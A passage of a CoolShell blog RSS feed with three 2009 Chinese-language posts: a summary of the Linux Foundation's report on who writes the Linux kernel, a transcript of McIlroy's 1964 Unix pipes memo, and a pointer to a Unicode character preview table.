href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1375.html\">初学C#编程的注意事项</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1375.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>15</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>谁写了Linux</title>\n\t\t<link>https://coolshell.cn/articles/1360.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1360.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 25 Aug 2009 11:36:19 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1360</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>2009年8月，Linux软件基金会发布了一份叫《Who Writes Linux and Who Supports It》(PDF)的报告。这份报告主要对Li...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1360.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1360.html\">谁写了Linux</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"http://www.linuxfoundation.org/sites/www.linuxfoundation.org/themes/opensourcery/images/linux-foundation.png\" target=\"_blank\"><img decoding=\"async\" class=\"alignright\" src=\"http://www.linuxfoundation.org/sites/www.linuxfoundation.org/themes/opensourcery/images/linux-foundation.png\" alt=\"\" /></a>2009年8月，<a href=\"http://www.linuxfoundation.org/\" target=\"_blank\">Linux软件基金会</a>发布了一份叫《<a href=\"http://www.linuxfoundation.org/publications/whowriteslinux.pdf\" target=\"_blank\">Who Writes Linux and Who Supports It</a>》(PDF)的报告。这份报告主要对Linux 2.6.x的开发进行了全方位的统计。看了以后才知道，原来Linux的开发的生产率竟是这样的惊人，而且相当的的令人振奋，所以，在第一时间转过来给大家看看。让人不得不惊叹，这不可思议的具有非凡活力的社区。（注意，我们这里说的是Linux，不是GNU的那些东西，所谓Linux就是Linux的Kernel）</p>\n<p>下面是一个导读，希望每一个看到这篇文章的朋友都能看看原文的报告：《<a href=\"http://www.linuxfoundation.org/publications/whowriteslinux.pdf\" target=\"_blank\">Who Writes Linux and Who Supports It</a>》(PDF)</p>\n<p>这份报告的一开始就对Linux的开发进行了总结：</p>\n<ul>\n<li>每2-3个月一个release</li>\n<li>最近的每一次release都超过10000个补丁</li>\n<li>有超过1000个开发人员进行开发，他们来自200个公司或组织。</li>\n<li>自2005年以来，超过5000个来自500个不同公司的开发人员为Linux内核做过贡献。</li>\n<li>自2008年以来，每次release，都大约增加了10%左右的开发人员，而且，代码码达到了2.7百万行。</li>\n</ul>\n<p>是的，这样的生产率真是太疯狂了。下面是这份文档中所涉及的一些介绍和一些具体的统计数据。</p>\n<p><span id=\"more-1360\"></span></p>\n<h4>Linux开发模式</h4>\n<p>Linux的开发采用的是一种宽松的，基于时间的开发模式。每一个新的主要版本的release基本上会发生在2-3个月之内。这个开发模式是在2005年形成的，因为任何人都可以修改其内核的代码，所以，很多补丁进入内核的时间非常的快。</p>\n<p>其中一个有意义的事是，他们有一个叫Linux-Next的服务器，这个服务器一般来说会是下一个版本的staging，比如，如果目前的稳定版本是2.6.31，那么Linux-Next上就会运行2.6.32。这样，所有的developer都能看到下一个版本总体的样子，而且，这更容易发现一些集成性的问题。</p>\n<p>在2.6的mainline代码库上（mailline是代码库的主线），有一个叫做“stable team”的团队，他们会做短期的维护工作，他们确保所有的重要的补丁或更改都会被放入mailline中，这样就能滚入下一个release。</p>\n<p>然后，这份文档中给出了大量的开发编译数据。</p>\n<h4>统计数据</h4>\n<p>下面的统计数据是从版本2.6.11开始的，我把源文件中的表格合并成一个大表，如下所示。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" title=\"Linux Kernel开发统计数据\" src=\"https://coolshell.cn/wp-content/uploads/2009/08/Linux-Stat.png\" alt=\"Linux Kernel开发统计数据\" width=\"571\" height=\"347\" /></p>\n<p style=\"text-align: left;\">从上图我们可以看到下面这些东西：</p>\n<ul>\n<li>\n<div style=\"text-align: left;\">Linux Kernel开发的速度越来越快，看看每个release的补丁数，每天文件增、删、改就可以知道。</div>\n</li>\n<li>\n<div style=\"text-align: left;\">Linux Kernel开发的团队是越来越大，包括人员和参与的公司。</div>\n</li>\n</ul>\n<p style=\"text-align: left;\">下面是几个统计图表：</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" title=\"平均每天的修改\" src=\"https://coolshell.cn/wp-content/uploads/2009/08/linuxp1.png\" alt=\"linuxp1\" width=\"483\" height=\"349\" /><br />\n平均每天的修改</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" title=\"代码修改统计\" src=\"https://coolshell.cn/wp-content/uploads/2009/08/linuxp2.png\" alt=\"linuxp2\" width=\"528\" height=\"383\" /><br />\n代码修改统计</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" title=\"开发人员\" src=\"https://coolshell.cn/wp-content/uploads/2009/08/linuxp3.png\" alt=\"linuxp3\" width=\"615\" height=\"486\" /><br />\n开发人员</p>\n<h4 style=\"text-align: left;\">谁写了Linux</h4>\n<p style=\"text-align: left;\">最后我们进入主题——谁写了Linux，首先，我们先来看一下进入代码修改的Top 30的开发人员列表：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"Top 30 Linux developer\" src=\"https://coolshell.cn/wp-content/uploads/2009/08/Linux-developer.png\" alt=\"Top 30 Linux developer\" width=\"585\" height=\"546\" /></p>\n<p>我们可以看到，Linus Torvalds （729 总修改，自2.6.24版来254 修改）无法进入前30名。当然，对Linux的贡献绝对不能通过代码行来表示，Linus对Linux就算是在今天也是至关紧要的。</p>\n<p>好，让我们再来看看那些公司对Linux的贡献。根据这份报告所说，知道每个developer所在的公司，主要是通过了下面的几种方法：</p>\n<ul>\n<li>使用的邮件地址有公司的名字。</li>\n<li>由赞助者提交的代码。</li>\n<li>直接询问得到的。</li>\n</ul>\n<p>所以，这些数据只能算得上的近似，不过也能看到一个总体的样子了。下图中“None”代表没有职业无业游民，“Unknown”代表无名氏或是英雄不知出处。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" title=\"Linux Company Top 30\" src=\"https://coolshell.cn/wp-content/uploads/2009/08/linux-company.png\" alt=\"Linux Company Top 30\" width=\"552\" height=\"546\" /></p>\n<p>我们可以看到，Top 10公司，为Linux贡献了近70%的代码。包括了None和Unknown，而且，那些是拿着公司报酬给Linux作开发的程序员。</p>\n<p>那么，为什么这些公司要支持Linux的内核开发呢？</p>\n<ul>\n<li>我们可以看到像IBM, Intel, SGI, MIPS, Freescale, HP, Fujitsu这样的大公司，他们的目的当然是为了确保Linux能够在他们的硬件上工作得更好。</li>\n<li>我们也可以看到像Red Hat, Novell, 和MontaVista这些Linux的Distribution公司，他们是Linux的主力，主要是为了提供给他们的客户更好的服务。</li>\n<li>同样，我们还能看到像Sony, Nokia, 和Samsung这样的公司，这些公司主要是用Linux来开发数码产品，如摄像机、手机或是电视，他们使用Linux做一些嵌入式开发，以保证他们的产品工作得更好。</li>\n<li>还有一些和IT都没有关系的，例如：Volkswagen公司在v21.6.25中为Linux加入了PF_CAN网络实现的协议。Quantum Controls BV公司在2.6.30时加入了一个航海导航的补丁，这些公司都会使用Linux来完善他们的产品。</li>\n</ul>\n<p>看来，Linux的势头是越来越无法阻挡了，你也想加入这个阵营吗？点下面的链接吧：<a href=\"http://ldn.linuxfoundation.org/book/how-participate-linux-community\">http://ldn.linuxfoundation.org/book/how-participate-linux-community</a></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png\" alt=\"缓存更新的套路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_title\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1360.html\">谁写了Linux</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1360.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>44</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Unix Pipes 管道原稿</title>\n\t\t<link>https://coolshell.cn/articles/1351.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1351.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 24 Aug 2009 16:17:11 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[Pipe]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1351</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>40年前，Unix操作系统横空出世，Unix不仅仅带来了一个操作系统，还创造C语言，Socket，开源，黑客等等文化，这些文化影响着整个计算机世界的文明，直到今...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1351.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1351.html\">Unix Pipes 管道原稿</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" title=\"Douglas McIlroy\" src=\"https://coolshell.cn/wp-content/uploads/2009/08/Douglas-McIlroy.jpg\" alt=\"Douglas McIlroy\" width=\"147\" height=\"193\" /></p>\n<p>40年前，Unix操作系统横空出世，Unix不仅仅带来了一个操作系统，还创造C语言，Socket，开源，黑客等等文化，这些文化影响着整个计算机世界的文明，直到今天。</p>\n<p>如果说Unix是计算机文明中最伟大的发明，那么，Unix下的Pipe管道就是跟随Unix所带来的另一个伟大的发明。管道的出现，解决的就是让不同功能的程序可以互相连通通讯，从而可以让软件开发，程序开发更加的“高内聚，低耦合”，从而可以让程序“Do one thing, Do it well”，从而可以让程序“Keep it Simple Stupid”等等，这一哲学引影了一代又一代的软件架构，直到今天的云计算。</p>\n<p>管道的发名者叫，<a href=\"http://en.wikipedia.org/wiki/Douglas_McIlroy\" target=\"_blank\"><strong>Malcolm Douglas McIlroy</strong></a>，他也是Unix的创建者，是Unix文化的缔造者之一。他归纳的Unix哲学如下：</p>\n<blockquote><p>程序应该只关注一个目标，并尽可能把它做好。让程序能够互相协同工作。应该让程序处理文本数据流，因为这是一个通用的接口。</p></blockquote>\n<p><span id=\"more-1351\"></span></p>\n<p>下面是管道在1964年10月11日，出现的第一个打印稿，下面是扫描件。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/08/pipe.png\"></a></p>\n<p><img decoding=\"async\" loading=\"lazy\" title=\"Unix Pipes\" src=\"https://coolshell.cn/wp-content/uploads/2009/08/pipe.png\" alt=\"Unix Pipes\" width=\"612\" height=\"790\" /></p>\n<p>全文如下：</p>\n<pre><code>                        - 10 -\n            Summary--what's most important.\n    To put my strongest concerns into a nutshell:\n1. We should have some ways of connecting programs like\ngarden hose--screw in another segment when it becomes when\nit becomes necessary to massage data in another way.\nThis is the way of IO also.\n2. Our loader should be able to do link-loading and\ncontrolled establishment.\n3. Our library filing scheme should allow for rather\ngeneral indexing, responsibility, generations, data path\nswitching.\n4. It should be possible to get private system components\n(all routines are system components) for buggering around with.\n\n                                                M. D. McIlroy\n                                                October 11, 1964\n</code></pre>\n<p>我就不翻译了，因为这段文字足够的简单，就像连接花园中浇花用的软管一样，相信你不但能够读懂它，还能从中收益。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/19996.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg\" alt=\"Unix 50 年：Ken Thompson 的密码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19996.html\" class=\"wp_rp_title\">Unix 50 年：Ken Thompson 的密码</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/tux-fork-150x150.gif\" alt=\"vfork 挂掉的一个问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_title\">vfork 挂掉的一个问题</a></li><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li><li ><a href=\"https://coolshell.cn/articles/9410.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/figure1-150x150.gif\" alt=\"Unix考古记：一个“遗失”的shell\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9410.html\" class=\"wp_rp_title\">Unix考古记：一个“遗失”的shell</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1351.html\">Unix Pipes 管道原稿</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1351.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>4</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Unicode字符预览表</title>\n\t\t<link>https://coolshell.cn/articles/1331.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1331.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 24 Aug 2009 15:45:36 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Unicode]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1331</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>关于Unicode的字符表，你可以在这里下载： http://www.unicode.org/Public/5.1.0/ucd/UnicodeData.txt ...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1331.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1331.html\">Unicode字符预览表</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>关于Unicode的字符表，你可以在这里下载：</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://www.unicode.org/Public/5.1.0/ucd/UnicodeData.txt\" target=\"_blank\">http://www.unicode.org/Public/5.1.0/ucd/UnicodeData.txt</a></p>\n<p>而有热心人通过上面个表格，使用JavaScript制作了下面这个网页，其穷举并可以显示上述定义的所有的Unicode字符。</p>\n<p style=\"PADDING-LEFT: 30px; TEXT-ALIGN: left\"><a href=\"http://www.ftrain.com/unicode/\" target=\"_blank\">http://www.ftrain.com/unicode/</a></p>\n<p style=\"TEXT-ALIGN: left\">打开这个网页，左边的那个大表格是一个10&#215;10的列表，每个小单元格上面是这个字符的样子，下面是这个字符的HTML输入格式。这个表格下面是一个预览格，因为有些这符太细腻了。</p>\n<p style=\"TEXT-ALIGN: left\"><span id=\"more-1331\"></span></p>\n<p style=\"TEXT-ALIGN: left\">当然，所有的字符不肯定不止100个，所以，网页右上角有三个进度条，一个是100个字符的往后移动，第二个是1000个字符，第三个是10000个。</p>\n<p style=\"TEXT-ALIGN: left\">随便找了一下，找到下面这些各式各样的箭头，如下所示：</p>\n<style type=\"text/css\">\ntd,td {width:50px;height:50px;text-align:center;vertical-align:center;font-size:2.5em;border:1px solid #ccc;}\n.exp {font:8pt sans-serif;color:#aaa;height:1em;}\n</style>\n<table border=\"1\">\n<tbody>\n<tr>\n<td>← <span class=\"exp\">&amp;#8592;</span></td>\n<td>↑ <span class=\"exp\">&amp;#8593;</span></td>\n<td>→ <span class=\"exp\">&amp;#8594;</span></td>\n<td>↓ <span class=\"exp\">&amp;#8595;</span></td>\n<td><img src=\"https://s.w.org/images/core/emoji/14.0.0/72x72/2194.png\" alt=\"↔\" class=\"wp-smiley\" style=\"height: 1em; max-height: 1em;\" /> <span class=\"exp\">&amp;#8596;</span></td>\n<td><img src=\"https://s.w.org/images/core/emoji/14.0.0/72x72/2195.png\" alt=\"↕\" class=\"wp-smiley\" style=\"height: 1em; max-height: 1em;\" /> <span class=\"exp\">&amp;#8597;</span></td>\n<td><img src=\"https://s.w.org/images/core/emoji/14.0.0/72x72/2196.png\" alt=\"↖\" class=\"wp-smiley\" style=\"height: 1em; max-height: 1em;\" /> <span class=\"exp\">&amp;#8598;</span></td>\n<td><img src=\"https://s.w.org/images/core/emoji/14.0.0/72x72/2197.png\" alt=\"↗\" class=\"wp-smiley\" style=\"height: 1em; max-height: 1em;\" /> <span class=\"exp\">&amp;#8599;</span></td>\n</tr>\n<tr>\n<td><img src=\"https://s.w.org/images/core/emoji/14.0.0/72x72/2198.png\" alt=\"↘\" class=\"wp-smiley\" style=\"height: 1em; max-height: 1em;\" /> <span class=\"exp\">&amp;#8600;</span></td>\n<td><img src=\"https://s.w.org/images/core/emoji/14.0.0/72x72/2199.png\" alt=\"↙\" class=\"wp-smiley\" style=\"height: 1em; max-height: 1em;\" /> <span class=\"exp\">&amp;#8601;</span></td>\n<td>↚ <span class=\"exp\">&amp;#8602;</span></td>\n<td>↛ <span class=\"exp\">&amp;#8603;</span></td>\n<td>↜ <span class=\"exp\">&amp;#8604;</span></td>\n<td>↝ <span class=\"exp\">&amp;#8605;</span></td>\n<td>↞ <span class=\"exp\">&amp;#8606;</span></td>\n<td>↟ <span class=\"exp\">&amp;#8607;</span></td>\n</tr>\n<tr>\n<td>⇞ <span class=\"exp\">&amp;#8670;</span></td>\n<td>⇟ <span class=\"exp\">&amp;#8671;</span></td>\n<td>⇠ <span class=\"exp\">&amp;#8672;</span></td>\n<td>⇡ <span class=\"exp\">&amp;#8673;</span></td>\n<td>⇢ <span class=\"exp\">&amp;#8674;</span></td>\n<td>⇣ <span class=\"exp\">&amp;#8675;</span></td>\n<td>⇤ <span class=\"exp\">&amp;#8676;</span></td>\n<td>⇥ <span class=\"exp\">&amp;#8677;</span></td>\n</tr>\n</tbody>\n</table>\n<p>还有很多更奇怪的字符，你可以上去看看。如果你访问不了了，你可以通过本站下载这个文件：《<a href='https://coolshell.cn/wp-content/uploads/2009/08/Unicode-table.htm' target=_blank>Unicode 字符集预览表</a>》</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/21649.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/11/il_340x270_pggv-150x150.jpg\" alt=\"源代码特洛伊木马攻击\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21649.html\" class=\"wp_rp_title\">源代码特洛伊木马攻击</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/1957.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg\" alt=\"Web程序的最佳测试数据\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1957.html\" class=\"wp_rp_title\">Web程序的最佳测试数据</a></li><li ><a href=\"https://coolshell.cn/articles/1830.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"正则表达式生成器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1830.html\" class=\"wp_rp_title\">正则表达式生成器</a></li><li ><a href=\"https://coolshell.cn/articles/5132.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"疯狂的 Web 应用开源项目\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5132.html\" class=\"wp_rp_title\">疯狂的 Web 应用开源项目</a></li><li ><a href=\"https://coolshell.cn/articles/7448.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"扎克伯格的一封信：关于Facebook IPO\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7448.html\" class=\"wp_rp_title\">扎克伯格的一封信：关于Facebook IPO</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1331.html\">Unicode字符预览表</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1331.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>5</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Erlang和Python互通</title>\n\t\t<link>https://coolshell.cn/articles/1313.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1313.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[free.wang]]></dc:creator>\n\t\t<pubDate>Mon, 24 Aug 2009 14:30:49 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Erlang]]></category>\n\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<guid 